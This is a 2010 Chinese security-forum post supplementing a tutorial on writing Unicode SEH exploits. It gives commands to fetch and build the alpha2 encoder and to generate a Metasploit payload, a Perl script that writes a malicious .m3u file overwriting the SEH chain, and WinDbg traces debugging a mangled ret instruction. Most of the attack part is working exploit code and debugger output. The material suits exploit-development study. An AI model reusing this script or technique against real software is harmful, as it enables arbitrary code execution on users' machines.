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[原创]对《编写unicode exploit》一文的补充
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发表于:
2010-9-28 21:25
10144
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[原创]对《编写unicode exploit》一文的补充
标题：对《编写unicode exploit》一文的补充
作者：riusksk(泉哥)
主页：http://riusksk.blogbus.com
《编写Unicode Exploit》原文地址：http://bbs.pediy.com/showthread.php?t=120637
1.关于unicode shellcode生成的问题
原本我是用windows平台下的msf，但始终没有成功。后来又改用pentoo系统上的msf还是没有成功，最后按作者的建议使用BT4，可惜依然没有成功。然后我就将msf与alpha2合用，大家可以在BT4 final上使用以下命令来生成：
wget http://packetstormsecurity.org/shellcode/alpha2.tar.gz
tar xvzf alpha2.tar.gz
cd alpha2
gcc alpha2.c -o alpha2
msfpayload windows/exec cmd=calc r | ./alpha2 eax --unicode -t perl
my $junk = "A" x 270; # 我个人系统上相对SEH的偏移量
my $nseh = "x61x62";
my $seh = "x15x45" ;
my $preparestuff="D"; #we need the first D
$preparestuff=$preparestuff."x6e"; #nop/align
$preparestuff=$preparestuff."x55"; #push ebp
$preparestuff=$preparestuff."x6e"; #nop/align
$preparestuff=$preparestuff."x58"; #pop eax
$preparestuff=$preparestuff."x6e"; #pop/align
$preparestuff=$preparestuff."x05x14x11"; #add eax,0x11001400
$preparestuff=$preparestuff."x6e"; #pop/align
$preparestuff=$preparestuff."x2dx13x11"; #sub eax,0x11001300
$preparestuff=$preparestuff."x6e"; #pop/align
my $jump = "x50"; #push eax
$jump=$jump."x6d"; #nop/align
$jump=$jump.[COLOR="Red"]"xc3"; #ret 问题在这里
my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump));
$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff;
open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
0:005> !exchain
029bfd54: image00400000+50015 (00450015)
Invalid exception stack at 00620061
0:005> d 029bfd54
029bfd54 61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00 a.b…E.D.n.U.n.
029bfd64 58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00 X.n…….n.-…
029bfd74 11 00 6e 00 50 00 6d 00-[COLOR="Red"]88 80 44 00 44 00 44 00 ..n.P.m…D.D.D.
029bfd84 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfd94 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfda4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfdb4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfdc4 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
0:005> t
eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
eip=029bfd78 esp=029bed2c ebp=029bfd54 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
<Unloaded_papi.dll>+0x29bfd77:
029bfd78 50 push eax
0:005> t
eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
eip=029bfd79 esp=029bed28 ebp=029bfd54 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
<Unloaded_papi.dll>+0x29bfd78:
029bfd79 006d00 add byte ptr [ebp],ch ss:0023:029bfd54=61
0:005> t
eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
eip=029bfd7c esp=029bed28 ebp=029bfd54 iopl=0 ov up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a86
<Unloaded_papi.dll>+0x29bfd7b:
[COLOR="Red"]
029bfd7c 888044004400 mov byte ptr image00400000+0x40044 (00440044)[eax],al ds:0023:02dffe98=??
0:005> !exchain
029bfd54: image00400000+50015 (00450015)
Invalid exception stack at 00620061
0:005> d 029bfd54
029bfd54 61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00 a.b…E.D.n.U.n.
029bfd64 58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00 X.n…….n.-…
029bfd74 11 00 6e 00 50 00 6d 00-[COLOR="Red"]70 00 71 00 72 00 73 00 ..n.P.m.p.q.r.s.
029bfd84 74 00 75 00 76 00 77 00-78 00 79 00 7a 00 7b 00 t.u.v.w.x.y.z.{.
029bfd94 7c 00 7d 00 7e 00 7f 00-ac 20 97 4e 0e 51 97 53 |.}.~…. .N.Q.S
029bfda4 72 56 9b 58 bd 5a 15 5d-41 5f ad 61 42 64 7c 66 rV.X.Z.]A_.aBd|f
029bfdb4 d9 68 c4 6a 14 6d 6a 6f-5a 71 01 30 e5 ff a6 30 .h.j.mjoZq.0…0
029bfdc4 16 04 06 25 69 e0 27 e1-e5 e1 88 8f 92 70 00 52 …%i.'……p.R
0:005> d
029bfdd4 af 72 2d 8d a3 60 84 9a-77 57 05 8c 9a 5a 4c 72 .r-..`..wW…ZLr
029bfde4 a8 4f 92 58 82 98 c0 81-f2 95 a9 5c c9 91 69 7f .O.X………i.
029bfdf4 d5 68 dd 4e 2e 57 89 84-d9 54 95 5f 85 6c 50 5f .h.N.W…T._.lP_
029bfe04 b7 73 9b 6b 71 81 0d 77-73 95 31 80 dd 7b 8a 8c .s.kq..ws.1..{..
029bfe14 2c 9f eb e2 a9 e3 67 e4-f5 f8 44 00 44 00 44 00 ,…..g…D.D.D.
029bfe24 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfe34 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
029bfe44 44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00 D.D.D.D.D.D.D.D.
\x43\x70\x43\x70
\x43\x6e\x43\x6e
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